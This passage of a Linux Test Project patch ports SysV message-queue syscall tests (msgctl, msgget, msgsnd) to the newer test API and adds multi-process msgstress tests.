-#include <sys/msg.h>
 #include <errno.h>
 
-#include "test.h"
-#include "ipcmsg.h"
+#include "tst_test.h"
+#include "tst_safe_sysv_ipc.h"
+#include "libnewipc.h"
 
-static int msg_q;
+static int msg_q = -1;
 static int index_q;
 static struct msginfo msginfo_buf;
 static struct msqid_ds msgqid_buf;
 
-static struct test_case_t {
-	int *queue_id;
-	int ipc_cmd;
+static struct tcase {
+	int *msg_id;
+	int cmd;
 	char *name;
 	void *buf;
-} test_cases[] = {
+} tc[] = {
 	{&msg_q, IPC_INFO, "IPC_INFO", &msginfo_buf},
 	{&msg_q, MSG_INFO, "MSG_INFO", &msginfo_buf},
 	{&index_q, MSG_STAT, "MSG_STAT", &msgqid_buf},
 };
 
-char *TCID = "msgctl12";
-int TST_TOTAL = ARRAY_SIZE(test_cases);
-
-int main(int argc, char *argv[])
+static void verify_msgctl(unsigned int i)
 {
-	int lc;
-	int i;
+	TEST(msgctl(*tc[i].msg_id,  tc[i].cmd, tc[i].buf));
 
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++) {
-
-			TEST(msgctl(*test_cases[i].queue_id,
-				    test_cases[i].ipc_cmd, test_cases[i].buf));
-
-			if (TEST_RETURN == -1) {
-				tst_resm(TFAIL,
-					 "msgctl() test %s failed with errno: "
-					 "%d", test_cases[i].name, TEST_ERRNO);
-			} else {
-				tst_resm(TPASS, "msgctl() test %s succeeded",
-					 test_cases[i].name);
-			}
-		}
+	if (TST_RET == -1) {
+		tst_res(TFAIL,
+			 "msgctl() test %s failed with errno: "
+			 "%d", tc[i].name, TST_ERR);
 	}
 
-	cleanup();
-	tst_exit();
+	tst_res(TPASS, "msgctl() test %s succeeded", tc[i].name);
 }
 
-void setup(void)
+static void setup(void)
 {
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	msg_q = msgget(IPC_PRIVATE, MSG_RW);
-	if (msg_q < 0)
-		tst_brkm(TBROK, cleanup, "Can't create message queue");
-
-	index_q = msgctl(msg_q, IPC_INFO, (struct msqid_ds *)&msginfo_buf);
-	if (index_q < 0)
-		tst_brkm(TBROK, cleanup, "Can't create message queue");
+	msg_q = SAFE_MSGGET(IPC_PRIVATE, MSG_RW);
+	index_q = SAFE_MSGCTL(msg_q, IPC_INFO, (struct msqid_ds*)&msginfo_buf);
 }
 
-void cleanup(void)
+static void cleanup(void)
 {
-	rm_queue(msg_q);
+	if (msg_q >= 0)
+		SAFE_MSGCTL(msg_q, IPC_RMID, NULL);
 }
+
+static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
+	.test = verify_msgctl,
+	.tcnt = ARRAY_SIZE(tc),
+};
diff --git a/testcases/kernel/syscalls/ipc/msgctl/msgctl13.c b/testcases/kernel/syscalls/ipc/msgctl/msgctl13.c
deleted file mode 100644
index 50d48d4..0000000
--- a/testcases/kernel/syscalls/ipc/msgctl/msgctl13.c
+++ /dev/null
@@ -1,86 +0,0 @@
-/*
- * Copyright (c) 2014 Fujitsu Ltd.
- * Author: Zeng Linggang <zenglg.jy@cn.fujitsu.com>
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program.
- */
-/*
- * DESCRIPTION
- *	msgctl13 - test for IPC_RMID
- */
-
-#include <sys/types.h>
-#include <sys/ipc.h>
-#include <sys/msg.h>
-#include <errno.h>
-
-#include "test.h"
-#include "ipcmsg.h"
-
-char *TCID = "msgctl13";
-int TST_TOTAL = 1;
-static struct msqid_ds buf;
-
-static void msgctl_verify(void);
-
-int main(int argc, char *argv[])
-{
-	int lc;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		msgctl_verify();
-	}
-
-	cleanup();
-	tst_exit();
-}
-
-void setup(void)
-{
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-}
-
-static void msgctl_verify(void)
-{
-	int msg_q;
-
-	msg_q = msgget(IPC_PRIVATE, MSG_RW);
-	if (msg_q == -1)
-		tst_brkm(TBROK, cleanup, "Can't create message queue");
-
-	TEST(msgctl(msg_q, IPC_RMID, NULL));
-
-	if (TEST_RETURN != 0) {
-		tst_resm(TFAIL, "msgctl() test IPC_RMID failed with errno: %d",
-			 TEST_ERRNO);
-		return;
-	}
-
-	TEST(msgctl(msg_q, IPC_STAT, &buf));
-	if (TEST_ERRNO == EINVAL)
-		tst_resm(TPASS, "msgctl() test IPC_RMID succeeded");
-	else
-		tst_resm(TFAIL, "msgctl() test IPC_RMID failed unexpectedly");
-}
-
-void cleanup(void)
-{
-}
diff --git a/testcases/kernel/syscalls/ipc/msgget/.gitignore b/testcases/kernel/syscalls/ipc/msgget/.gitignore
new file mode 100644
index 0000000..3b2dfb5
--- /dev/null
+++ b/testcases/kernel/syscalls/ipc/msgget/.gitignore
@@ -0,0 +1,3 @@
+/msgget01
+/msgget02
+/msgget03
diff --git a/testcases/kernel/syscalls/ipc/msgget/msgget01.c b/testcases/kernel/syscalls/ipc/msgget/msgget01.c
index 3d1010f..ae9e0ac 100644
--- a/testcases/kernel/syscalls/ipc/msgget/msgget01.c
+++ b/testcases/kernel/syscalls/ipc/msgget/msgget01.c
@@ -42,12 +42,12 @@
 static void verify_msgget(void)
 {
 	TEST(msgget(msgkey, IPC_CREAT | MSG_RW));
-	if (TEST_RETURN == -1) {
+	if (TST_RET == -1) {
 		tst_res(TFAIL | TTERRNO, "msgget() failed");
 		return;
 	}
 
-	queue_id = TEST_RETURN;
+	queue_id = TST_RET;
 
 	SAFE_MSGSND(queue_id, &snd_buf, MSGSIZE, 0);
 
diff --git a/testcases/kernel/syscalls/ipc/msgget/msgget02.c b/testcases/kernel/syscalls/ipc/msgget/msgget02.c
index acf4b38..00f7fa8 100644
--- a/testcases/kernel/syscalls/ipc/msgget/msgget02.c
+++ b/testcases/kernel/syscalls/ipc/msgget/msgget02.c
@@ -60,12 +60,12 @@
 {
 	TEST(msgget(*tc->key, tc->flags));
 
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_res(TFAIL, "msgget() succeeded unexpectedly");
 		return;
 	}
 
-	if (TEST_ERRNO == tc->exp_err) {
+	if (TST_ERR == tc->exp_err) {
 		tst_res(TPASS | TTERRNO, "msgget() failed as expected");
 	} else {
 		tst_res(TFAIL | TTERRNO, "msgget() failed unexpectedly,"
diff --git a/testcases/kernel/syscalls/ipc/msgget/msgget03.c b/testcases/kernel/syscalls/ipc/msgget/msgget03.c
index f7e5ace..c117710 100644
--- a/testcases/kernel/syscalls/ipc/msgget/msgget03.c
+++ b/testcases/kernel/syscalls/ipc/msgget/msgget03.c
@@ -39,10 +39,10 @@
 static void verify_msgget(void)
 {
 	TEST(msgget(msgkey + maxmsgs, IPC_CREAT | IPC_EXCL));
-	if (TEST_RETURN != -1)
+	if (TST_RET != -1)
 		tst_res(TFAIL, "msgget() succeeded unexpectedly");
 
-	if (TEST_ERRNO == ENOSPC) {
+	if (TST_ERR == ENOSPC) {
 		tst_res(TPASS | TTERRNO, "msgget() failed as expected");
 	} else {
 		tst_res(TFAIL | TTERRNO, "msgget() failed unexpectedly,"
diff --git a/testcases/kernel/syscalls/ipc/msgrcv/.gitignore b/testcases/kernel/syscalls/ipc/msgrcv/.gitignore
new file mode 100644
index 0000000..203464f5
--- /dev/null
+++ b/testcases/kernel/syscalls/ipc/msgrcv/.gitignore
@@ -0,0 +1,8 @@
+/msgrcv01
+/msgrcv02
+/msgrcv03
+/msgrcv04
+/msgrcv05
+/msgrcv06
+/msgrcv07
+/msgrcv08
diff --git a/testcases/kernel/syscalls/ipc/msgsnd/.gitignore b/testcases/kernel/syscalls/ipc/msgsnd/.gitignore
new file mode 100644
index 0000000..0581418
--- /dev/null
+++ b/testcases/kernel/syscalls/ipc/msgsnd/.gitignore
@@ -0,0 +1,4 @@
+/msgsnd01
+/msgsnd02
+/msgsnd05
+/msgsnd06
diff --git a/testcases/kernel/syscalls/ipc/msgsnd/msgsnd01.c b/testcases/kernel/syscalls/ipc/msgsnd/msgsnd01.c
index 6036c64..e05df01 100644
--- a/testcases/kernel/syscalls/ipc/msgsnd/msgsnd01.c
+++ b/testcases/kernel/syscalls/ipc/msgsnd/msgsnd01.c
@@ -41,7 +41,7 @@
 	struct msqid_ds qs_buf;
 
 	TEST(msgsnd(queue_id, &snd_buf, MSGSIZE, 0));
-	if (TEST_RETURN == -1) {
+	if (TST_RET == -1) {
 		tst_res(TFAIL | TTERRNO, "msgsnd() failed");
 		return;
 	}
diff --git a/testcases/kernel/syscalls/ipc/msgsnd/msgsnd02.c b/testcases/kernel/syscalls/ipc/msgsnd/msgsnd02.c
index 2232b0e..1b5f2e3 100644
--- a/testcases/kernel/syscalls/ipc/msgsnd/msgsnd02.c
+++ b/testcases/kernel/syscalls/ipc/msgsnd/msgsnd02.c
@@ -74,12 +74,12 @@
 static void verify_msgsnd(struct tcase *tc)
 {
 	TEST(msgsnd(*tc->id, tc->buffer, tc->msgsz, 0));
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_res(TFAIL, "smgsnd() succeeded unexpectedly");
 		return;
 	}
 
-	if (TEST_ERRNO == tc->exp_err) {
+	if (TST_ERR == tc->exp_err) {
 		tst_res(TPASS | TTERRNO, "msgsnd() failed as expected");
 	} else {
 		tst_res(TFAIL | TTERRNO, "msgsnd() failed unexpectedly,"
diff --git a/testcases/kernel/syscalls/ipc/msgsnd/msgsnd05.c b/testcases/kernel/syscalls/ipc/msgsnd/msgsnd05.c
index d817254..afadb1e 100644
--- a/testcases/kernel/syscalls/ipc/msgsnd/msgsnd05.c
+++ b/testcases/kernel/syscalls/ipc/msgsnd/msgsnd05.c
@@ -54,12 +54,12 @@
 static void verify_msgsnd(struct tcase *tc)
 {
 	TEST(msgsnd(queue_id, &snd_buf, MSGSIZE, tc->flag));
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_res(TFAIL, "msgsnd() succeeded unexpectedly");
 		return;
 	}
 
-	if (TEST_ERRNO == tc->exp_err) {
+	if (TST_ERR == tc->exp_err) {
 		tst_res(TPASS | TTERRNO, "msgsnd() failed as expected");
 	} else {
 		tst_res(TFAIL | TTERRNO, "msgsnd() failed unexpectedly,"
diff --git a/testcases/kernel/syscalls/ipc/msgsnd/msgsnd06.c b/testcases/kernel/syscalls/ipc/msgsnd/msgsnd06.c
index 25fce0a..56f75eb 100644
--- a/testcases/kernel/syscalls/ipc/msgsnd/msgsnd06.c
+++ b/testcases/kernel/syscalls/ipc/msgsnd/msgsnd06.c
@@ -41,12 +41,12 @@
 static void verify_msgsnd(void)
 {
 	TEST(msgsnd(queue_id, &snd_buf, MSGSIZE, 0));
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_res(TFAIL, "msgsnd() succeeded unexpectedly");
 		return;
 	}
 
-	if (TEST_ERRNO == EIDRM) {
+	if (TST_ERR == EIDRM) {
 		tst_res(TPASS | TTERRNO, "msgsnd() failed as expected");
 	} else {
 		tst_res(TFAIL | TTERRNO,
diff --git a/testcases/kernel/syscalls/ipc/msgstress/.gitignore b/testcases/kernel/syscalls/ipc/msgstress/.gitignore
new file mode 100644
index 0000000..a8f6753
--- /dev/null
+++ b/testcases/kernel/syscalls/ipc/msgstress/.gitignore
@@ -0,0 +1,4 @@
+/msgstress01
+/msgstress02
+/msgstress03
+/msgstress04
diff --git a/testcases/kernel/syscalls/ipc/msgstress/Makefile b/testcases/kernel/syscalls/ipc/msgstress/Makefile
new file mode 100644
index 0000000..4472eeb
--- /dev/null
+++ b/testcases/kernel/syscalls/ipc/msgstress/Makefile
@@ -0,0 +1,29 @@
+#
+#  Copyright (c) International Business Machines  Corp., 2001
+#
+#  This program is free software;  you can redistribute it and/or modify
+#  it under the terms of the GNU General Public License as published by
+#  the Free Software Foundation; either version 2 of the License, or
+#  (at your option) any later version.
+#
+#  This program is distributed in the hope that it will be useful,
+#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
+#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+#  the GNU General Public License for more details.
+#
+#  You should have received a copy of the GNU General Public License
+#  along with this program;  if not, write to the Free Software
+#  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+#
+
+top_srcdir              ?= ../../../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+LIBMSGCTL               := $(LIBDIR)/libmsgctl.a
+LDLIBS                  += -lmsgctl
+
+MAKE_DEPS               := $(LIBMSGCTL)
+
+include $(abs_srcdir)/../Makefile.inc
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/ipc/msgstress/msgstress01.c b/testcases/kernel/syscalls/ipc/msgstress/msgstress01.c
new file mode 100644
index 0000000..7117e38
--- /dev/null
+++ b/testcases/kernel/syscalls/ipc/msgstress/msgstress01.c
@@ -0,0 +1,301 @@
+/*
+ * Copyright (c) International Business Machines  Corp., 2002
+ *
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program;  if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ *
+ * 06/30/2001   Port to Linux   nsharoff@us.ibm.com
+ * 11/06/2002   Port to LTP     dbarrera@us.ibm.com
+ */
+
+/*
+ * Get and manipulate a message queue.
+ */
+
+#define _XOPEN_SOURCE 500
+#include <signal.h>
+#include <errno.h>
+#include <string.h>
+#include <fcntl.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <values.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/stat.h>
+#include <sys/ipc.h>
+#include <sys/msg.h>
+#include "test.h"
+#include "ipcmsg.h"
+#include "../lib/libmsgctl.h"
+
+char *TCID = "msgstress01";
+int TST_TOTAL = 1;
+
+#ifndef CONFIG_COLDFIRE
+#define MAXNPROCS	1000000	/* This value is set to an arbitrary high limit. */
+#else
+#define MAXNPROCS	 100000	/* Coldfire can't deal with 1000000 */
+#endif
+#define MAXNREPS	100000
+
+static key_t keyarray[MAXNPROCS];
+static int pidarray[MAXNPROCS];
+static int tid;
+static int MSGMNI, nprocs, nreps;
+static int procstat;
+static int mykid;
+
+void setup(void);
+void cleanup(void);
+
+static int dotest(key_t key, int child_process);
+static void sig_handler();
+
+static char *opt_nprocs;
+static char *opt_nreps;
+
+static option_t options[] = {
+	{"n:", NULL, &opt_nprocs},
+	{"l:", NULL, &opt_nreps},
+	{NULL, NULL, NULL},
+};
+
+static void usage(void)
+{
+	printf("  -n      Number of processes\n");
+	printf("  -l      Number of iterations\n");
+}
+
+int main(int argc, char **argv)
+{
+	int i, j, ok, pid;
+	int count, status;
+	struct sigaction act;
+
+	tst_parse_opts(argc, argv, options, usage);
+
+	setup();
+
+	nreps = MAXNREPS;
+	nprocs = MSGMNI;
+
+	if (opt_nreps) {
+		nreps = atoi(opt_nreps);
+		if (nreps > MAXNREPS) {
+			tst_resm(TINFO,
+				 "Requested number of iterations too large, "
+				 "setting to Max. of %d", MAXNREPS);
+			nreps = MAXNREPS;
+		}
+	}
+
+	if (opt_nprocs) {
+		nprocs = atoi(opt_nprocs);
+		if (nprocs > MSGMNI) {
+			tst_resm(TINFO,
+				 "Requested number of processes too large, "
+				 "setting to Max. of %d", MSGMNI);
+			nprocs = MSGMNI;
+		}
+	}
+
+	srand(getpid());
+	tid = -1;
+
+	/* Setup signal handling routine */
+	memset(&act, 0, sizeof(act));
+	act.sa_handler = sig_handler;
+	sigemptyset(&act.sa_mask);
+	sigaddset(&act.sa_mask, SIGTERM);
+	if (sigaction(SIGTERM, &act, NULL) < 0) {
+		tst_brkm(TFAIL, NULL, "Sigset SIGTERM failed");
+	}
+	/* Set up array of unique keys for use in allocating message
+	 * queues
+	 */
+	for (i = 0; i < nprocs; i++) {
+		ok = 1;
+		do {
+			/* Get random key */
+			keyarray[i] = (key_t) rand();
+			/* Make sure key is unique and not private */
+			if (keyarray[i] == IPC_PRIVATE) {
+				ok = 0;
+				continue;
+			}
+			for (j = 0; j < i; j++) {
+				if (keyarray[j] == keyarray[i]) {
+					ok = 0;
+					break;
+				}
+				ok = 1;
+			}
+		} while (ok == 0);
+	}
+
+	/* Fork a number of processes, each of which will
+	 * create a message queue with one reader/writer
+	 * pair which will read and write a number (iterations)
+	 * of random length messages with specific values.
+	 */
+
+	for (i = 0; i < nprocs; i++) {
+		fflush(stdout);
+		if ((pid = FORK_OR_VFORK()) < 0) {
+			tst_brkm(TFAIL,
+				 NULL,
+				 "\tFork failed (may be OK if under stress)");
+		}
+		/* Child does this */
+		if (pid == 0) {
+			procstat = 1;
+			exit(dotest(keyarray[i], i));
+		}
+		pidarray[i] = pid;
+	}
+
+	count = 0;
+	while (1) {
+		if ((wait(&status)) > 0) {
+			if (status >> 8 != 0) {
+				tst_brkm(TFAIL, NULL,
+					 "Child exit status = %d",
+					 status >> 8);
+			}
+			count++;
+		} else {
+			if (errno != EINTR) {
+				break;
+			}
+#ifdef DEBUG
+			tst_resm(TINFO, "Signal detected during wait");
+#endif
+		}
+	}
+	/* Make sure proper number of children exited */
+	if (count != nprocs) {
+		tst_brkm(TFAIL,
+			 NULL,
+			 "Wrong number of children exited, Saw %d, Expected %d",
+			 count, nprocs);
+	}
+
+	tst_resm(TPASS, "Test ran successfully!");
+
+	cleanup();
+	tst_exit();
+}
+
+static int dotest(key_t key, int child_process)
+{
+	int id, pid;
+	int ret, status;
+
+	sighold(SIGTERM);
+	TEST(msgget(key, IPC_CREAT | S_IRUSR | S_IWUSR));
+	if (TEST_RETURN < 0) {
+		printf("msgget() error in child %d: %s\n",
+			child_process, strerror(TEST_ERRNO));
+
+		return FAIL;
+	}
+	tid = id = TEST_RETURN;
+	sigrelse(SIGTERM);
+
+	fflush(stdout);
+	if ((pid = FORK_OR_VFORK()) < 0) {
+		printf("\tFork failed (may be OK if under stress)\n");
+		TEST(msgctl(tid, IPC_RMID, 0));
+		if (TEST_RETURN < 0) {
+			printf("mscgtl() error in cleanup: %s\n",
+				strerror(TEST_ERRNO));
+		}
+		return FAIL;
+	}
+	/* Child does this */
+	if (pid == 0)
+		exit(doreader(key, id, 1, child_process, nreps));
+	/* Parent does this */
+	mykid = pid;
+	procstat = 2;
+	ret = dowriter(key, id, 1, child_process, nreps);
+	wait(&status);
+
+	if (ret != PASS)
+		exit(FAIL);
+
+	if ((!WIFEXITED(status) || (WEXITSTATUS(status) != PASS)))
+		exit(FAIL);
+
+	TEST(msgctl(id, IPC_RMID, 0));
+	if (TEST_RETURN < 0) {
+		printf("msgctl() errno %d: %s\n",
+			TEST_ERRNO, strerror(TEST_ERRNO));
+
+		return FAIL;
+	}
+	return PASS;
+}
+
+static void sig_handler(void)
+{
+}
+
+void setup(void)
+{
+	int nr_msgqs;
+
+	tst_tmpdir();
+
+	tst_sig(FORK, DEF_HANDLER, cleanup);
+
+	TEST_PAUSE;
+
+	nr_msgqs = get_max_msgqueues();
+	if (nr_msgqs < 0)
+		cleanup();
+
+	nr_msgqs -= get_used_msgqueues();
+	if (nr_msgqs <= 0) {
+		tst_resm(TBROK,
+			 "Max number of message queues already used, cannot create more.");
+		cleanup();
+	}
+
+	/*
+	 * Since msgmni scales to the memory size, it may reach huge values
+	 * that are not necessary for this test.
+	 * That's why we define NR_MSGQUEUES as a high boundary for it.
+	 */
+	MSGMNI = min(nr_msgqs, NR_MSGQUEUES);
+}
+
+void cleanup(void)
+{
+	int status;
+
+#ifdef DEBUG
+	tst_resm(TINFO, "Removing the message queue");
+#endif
+	(void)msgctl(tid, IPC_RMID, NULL);
+	if ((status = msgctl(tid, IPC_STAT, NULL)) != -1) {
+		(void)msgctl(tid, IPC_RMID, NULL);
+		tst_resm(TFAIL, "msgctl(tid, IPC_RMID) failed");
+
+	}
+
+	tst_rmdir();
+}
diff --git a/testcases/kernel/syscalls/ipc/msgstress/msgstress02.c b/testcases/kernel/syscalls/ipc/msgstress/msgstress02.c
new file mode 100644
index 0000000..43982bd
--- /dev/null
+++ b/testcases/kernel/syscalls/ipc/msgstress/msgstress02.c
@@ -0,0 +1,408 @@
+/*
+ * Copyright (c) International Business Machines  Corp., 2002
+ *
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program;  if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ *
+ * 06/30/2001   Port to Linux   nsharoff@us.ibm.com
+ * 11/11/2002   Port to LTP     dbarrera@us.ibm.com
+ */
+
+/*
+ * Get and manipulate a message queue.
+ */
+
+#define _XOPEN_SOURCE 500
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <sys/ipc.h>
+#include <sys/msg.h>
+#include <sys/wait.h>
+#include <signal.h>
+#include <errno.h>
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include "test.h"
+#include "ipcmsg.h"
+#include "../lib/libmsgctl.h"
+
+char *TCID = "msgstress02";
+int TST_TOTAL = 1;
+
+#define MAXNREPS	1000
+#ifndef CONFIG_COLDFIRE
+#define MAXNPROCS	 1000000	/* This value is set to an arbitrary high limit. */
+#else
+#define MAXNPROCS	 100000	/* Coldfire can't deal with 1000000 */
+#endif
+#define MAXNKIDS	10
+
+static key_t keyarray[MAXNPROCS];
+static int pidarray[MAXNPROCS];
+static int rkidarray[MAXNKIDS];
+static int wkidarray[MAXNKIDS];
+static int tid;
+static int nprocs, nreps, nkids, MSGMNI;
+static int procstat;
+
+void setup(void);
+void cleanup(void);
+
+static void term(int);
+static int dotest(key_t, int);
+static void cleanup_msgqueue(int i, int tid);
+
+static char *opt_nprocs;
+static char *opt_nkids;
+static char *opt_nreps;
+
+static option_t options[] = {
+	{"n:", NULL, &opt_nprocs},
+	{"c:", NULL, &opt_nkids},
+	{"l:", NULL, &opt_nreps},
+	{NULL, NULL, NULL},
+};
+
+static void usage(void)
+{
+	printf("  -n      Number of processes\n");
+	printf("  -c      Number of read/write child pairs\n");
+	printf("  -l      Number of iterations\n");
+}
+
+int main(int argc, char **argv)
+{
+	int i, j, ok, pid;
+	int count, status;
+
+	tst_parse_opts(argc, argv, options, usage);
+
+	setup();
+
+	nreps = MAXNREPS;
+	nprocs = MSGMNI;
+	nkids = MAXNKIDS;
+
+	if (opt_nreps) {
+		nreps = atoi(opt_nreps);
+		if (nreps > MAXNREPS) {
+			tst_resm(TINFO,
+				 "Requested number of iterations too large, "
+				 "setting to Max. of %d", MAXNREPS);
+			nreps = MAXNREPS;
+		}
+	}
+
+	if (opt_nprocs) {
+		nprocs = atoi(opt_nprocs);
+		if (nprocs > MSGMNI) {
+			tst_resm(TINFO,
+				 "Requested number of processes too large, "
+				 "setting to Max. of %d", MSGMNI);
+			nprocs = MSGMNI;
+		}
+	}
+
+	if (opt_nkids) {
+		nkids = atoi(opt_nkids);
+		if (nkids > MAXNKIDS) {
+			tst_resm(TINFO,
+				 "Requested number of read/write pairs too "
+				 "large, setting to Max. of %d", MAXNKIDS);
+			nkids = MAXNKIDS;
+		}
+	}
+
+	procstat = 0;
+	srand48((unsigned)getpid() + (unsigned)(getppid() << 16));
+	tid = -1;
+
+	/* Setup signal handleing routine */
+	if (sigset(SIGTERM, term) == SIG_ERR) {
+		tst_brkm(TFAIL, NULL, "Sigset SIGTERM failed");
+	}
+	/* Set up array of unique keys for use in allocating message
+	 * queues
+	 */
+	for (i = 0; i < nprocs; i++) {
+		ok = 1;
+		do {
+			/* Get random key */
+			keyarray[i] = (key_t) lrand48();
+			/* Make sure key is unique and not private */
+			if (keyarray[i] == IPC_PRIVATE) {
+				ok = 0;
+				continue;
+			}
+			for (j = 0; j < i; j++) {
+				if (keyarray[j] == keyarray[i]) {
+					ok = 0;
+					break;
+				}
+				ok = 1;
+			}
+		} while (ok == 0);
+	}
+	/* Fork a number of processes (nprocs), each of which will
+	 * create a message queue with several (nkids) reader/writer
+	 * pairs which will read and write a number (iterations)
+	 * of random length messages with specific values (keys).
+	 */
+
+	for (i = 0; i < nprocs; i++) {
+		fflush(stdout);
+		if ((pid = FORK_OR_VFORK()) < 0) {
+			tst_brkm(TFAIL,
+				 NULL,
+				 "\tFork failed (may be OK if under stress)");
+		}
+		/* Child does this */
+		if (pid == 0) {
+			procstat = 1;
+			exit(dotest(keyarray[i], i));
+		}
+		pidarray[i] = pid;
+	}
+
+	count = 0;
+	while (1) {
+		if ((wait(&status)) > 0) {
+			if (status >> 8 != PASS) {
+				tst_brkm(TFAIL, NULL,
+					 "Child exit status = %d",
+					 status >> 8);
+			}
+			count++;
+		} else {
+			if (errno != EINTR) {
+				break;
+			}
+#ifdef DEBUG
+			tst_resm(TINFO, "Signal detected during wait");
+#endif
+		}
+	}
+	/* Make sure proper number of children exited */
+	if (count != nprocs) {
+		tst_brkm(TFAIL,
+			 NULL,
+			 "Wrong number of children exited, Saw %d, Expected %d",
+			 count, nprocs);
+	}
+
+	tst_resm(TPASS, "Test ran successfully!");
+
+	cleanup();
+	tst_exit();
+}
+
+static void cleanup_msgqueue(int i, int tid)
+{
+	/*
+	 * Decrease the value of i by 1 because it
+	 * is getting incremented even if the fork
+	 * is failing.
+	 */
+
+	i--;
+	/*
+	 * Kill all children & free message queue.
+	 */
+	for (; i >= 0; i--) {
+		(void)kill(rkidarray[i], SIGKILL);
+		(void)kill(wkidarray[i], SIGKILL);
+	}
+
+	if (msgctl(tid, IPC_RMID, 0) < 0) {
+		tst_brkm(TFAIL | TERRNO, NULL, "Msgctl error in cleanup");
+	}
+}
+
+static int dotest(key_t key, int child_process)
+{
+	int id, pid;
+	int i, count, status, exit_status;
+
+	sighold(SIGTERM);
+	if ((id = msgget(key, IPC_CREAT | S_IRUSR | S_IWUSR)) < 0) {
+		printf("msgget() error in child %d: %s\n",
+			child_process, strerror(errno));
+		return FAIL;
+	}
+	tid = id;
+	sigrelse(SIGTERM);
+
+	exit_status = PASS;
+
+	for (i = 0; i < nkids; i++) {
+		fflush(stdout);
+		if ((pid = FORK_OR_VFORK()) < 0) {
+			printf("Fork failure in the first child of child group %d\n",
+				child_process);
+			cleanup_msgqueue(i, tid);
+			return FAIL;
+		}
+		/* First child does this */
+		if (pid == 0) {
+			procstat = 2;
+			exit(doreader(key, tid, getpid(),
+					child_process, nreps));
+		}
+		rkidarray[i] = pid;
+		fflush(stdout);
+		if ((pid = FORK_OR_VFORK()) < 0) {
+			printf("Fork failure in the second child of child group %d\n",
+				child_process);
+			/*
+			 * Kill the reader child process
+			 */
+			(void)kill(rkidarray[i], SIGKILL);
+
+			cleanup_msgqueue(i, tid);
+			return FAIL;
+		}
+		/* Second child does this */
+		if (pid == 0) {
+			procstat = 2;
+			exit(dowriter(key, tid, rkidarray[i],
+					child_process, nreps));
+		}
+		wkidarray[i] = pid;
+	}
+	/* Parent does this */
+	count = 0;
+	while (1) {
+		if ((wait(&status)) > 0) {
+			if (status >> 8 != PASS) {
+				printf("Child exit status = %d from child group %d\n",
+					status >> 8, child_process);
+				for (i = 0; i < nkids; i++) {
+					kill(rkidarray[i], SIGTERM);
+					kill(wkidarray[i], SIGTERM);
+				}
+				if (msgctl(tid, IPC_RMID, 0) < 0) {
+					printf("msgctl() error: %s\n",
+						strerror(errno));
+				}
+				return FAIL;
+			}
+			count++;
+		} else {
+			if (errno != EINTR) {
+				break;
+			}
+		}
+	}
+	/* Make sure proper number of children exited */
+	if (count != (nkids * 2)) {
+		printf("Wrong number of children exited in child group %d, saw %d, expected %d\n",
+			child_process, count, (nkids * 2));
+		if (msgctl(tid, IPC_RMID, 0) < 0) {
+			printf("msgctl() error: %s\n", strerror(errno));
+		}
+		return FAIL;
+	}
+	if (msgctl(id, IPC_RMID, 0) < 0) {
+		printf("msgctl() failure in child group %d: %s\n",
+			child_process, strerror(errno));
+		return FAIL;
+	}
+	return exit_status;
+}
+
+static void term(int sig LTP_ATTRIBUTE_UNUSED)
+{
+	int i;
+
+	if (procstat == 0) {
+#ifdef DEBUG
+		tst_resm(TINFO, "SIGTERM signal received, test killing kids");
+#endif
+		for (i = 0; i < nprocs; i++) {
+			if (pidarray[i] > 0) {
+				if (kill(pidarray[i], SIGTERM) < 0) {
+					printf("Kill failed to kill child %d",
+						i);
+					exit(FAIL);
+				}
+			}
+		}
+		return;
+	}
+
+	if (procstat == 2) {
+		fflush(stdout);
+		exit(PASS);
+	}
+
+	if (tid == -1) {
+		exit(FAIL);
+	}
